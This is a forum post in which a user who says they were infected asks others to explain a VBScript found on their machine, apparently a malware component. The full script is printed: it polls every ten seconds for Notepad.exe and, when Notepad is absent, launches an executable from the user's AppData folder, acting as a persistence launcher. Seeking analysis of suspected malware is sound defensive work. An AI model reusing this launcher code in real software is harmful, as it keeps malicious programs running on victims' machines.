title: Can someone help me understand this code ? Infected with Trojan Dropper VBS script
body: <p>I wanna say sorry first ,</p>
  
  <p>This isnt probly the best place to ask things like these , but i was infected by a virus and it seems to left traces. </p>
  
  <p>If someone can understand the code behind some scripts i would be very grateful.</p>
  
  <pre><code>Option Explicit
  Dim ProcessPath,WshShell
  ProcessPath = "%Windir%\System32\Notepad.exe"
  Set WshShell = CreateObject("WScript.Shell")
  If AppPrevInstance() Then 
      MsgBox "There is an existing proceeding !" &amp; VbCrLF &amp;_
      CommandLineLike(WScript.ScriptName),VbExclamation,"There is an existing proceeding !"    
      WScript.Quit   
  Else 
      Do
          Pause(10) ' Pause 10 seconds 
          If CheckProcess(DblQuote(ProcessPath)) = False Then
              Call Logoff() 
          End If  
      Loop
  End If
  '**************************************************************************
  Function CheckProcess(ProcessPath)
      Dim strComputer,objWMIService,colProcesses,Tab,ProcessName
      strComputer = "."
      Tab = Split(ProcessPath,"\")
      ProcessName = Tab(UBound(Tab))
      ProcessName = Replace(ProcessName,Chr(34),"")
      Set objWMIService = GetObject("winmgmts:" _
      &amp; "{impersonationLevel=impersonate}!\\" &amp; strComputer &amp; "\root\cimv2")
      Set colProcesses = objWMIService.ExecQuery _
      ("Select * from Win32_Process Where Name = '"&amp; ProcessName &amp; "'")
      If colProcesses.Count = 0 Then
          CheckProcess = False
      Else
          CheckProcess = True
      End if
  End Function
  '**************************************************************************
  Function DblQuote(Str)
      DblQuote = Chr(34) &amp; Str &amp; Chr(34)
  End Function
  '**************************************************************************
  Sub Logoff()
     Dim objShell
  Set objShell = WScript.CreateObject( "WScript.Shell" )
  objShell.Exec("C:\Users\Sblck\AppData\Local\AppVShNotifyt.exe")
  Set objShell = Nothing
  Wscript.Quit 
  End sub
  '**************************************************************************
  Sub Pause(Secs)    
      Wscript.Sleep(Secs * 1000)    
  End Sub   
  '**************************************************************************
  Function AppPrevInstance()   
      With GetObject("winmgmts:" &amp; "{impersonationLevel=impersonate}!\\.\root\cimv2")   
          With .ExecQuery("SELECT * FROM Win32_Process WHERE CommandLine LIKE " &amp; CommandLineLike(WScript.ScriptFullName) &amp; _
              " AND CommandLine LIKE '%WScript%' OR CommandLine LIKE '%cscript%'")   
              AppPrevInstance = (.Count &gt; 1)   
          End With   
      End With   
  End Function    
  '***************************************************************************
  Function CommandLineLike(ProcessPath)   
      ProcessPath = Replace(ProcessPath, "\", "\\")   
      CommandLineLike = "'%" &amp; ProcessPath &amp; "%'"   
  End Function
  '****************************************************************************
  </code></pre>
  
  <p>I hope i formated the code right , there is some other script but in a txt form , the diference is in <strong>objShell.Exec</strong> it remotes to <strong>"%working%"</strong> , like this:</p>
  
  <pre><code>objShell.Exec("%working%")^
  </code></pre>
  
  <p>I'm gonna post pastebin's of it if it makes it easier </p>
  
  <p><a href="https://pastebin.com/HE5Hr75E" rel="nofollow noreferrer">AppVShNotifytvbs.vbs PasteBin link</a></p>
  
  <p><a href="https://pastebin.com/uxMKLsCJ" rel="nofollow noreferrer">AppVShNotifytvbs.txt Pastebin link</a></p>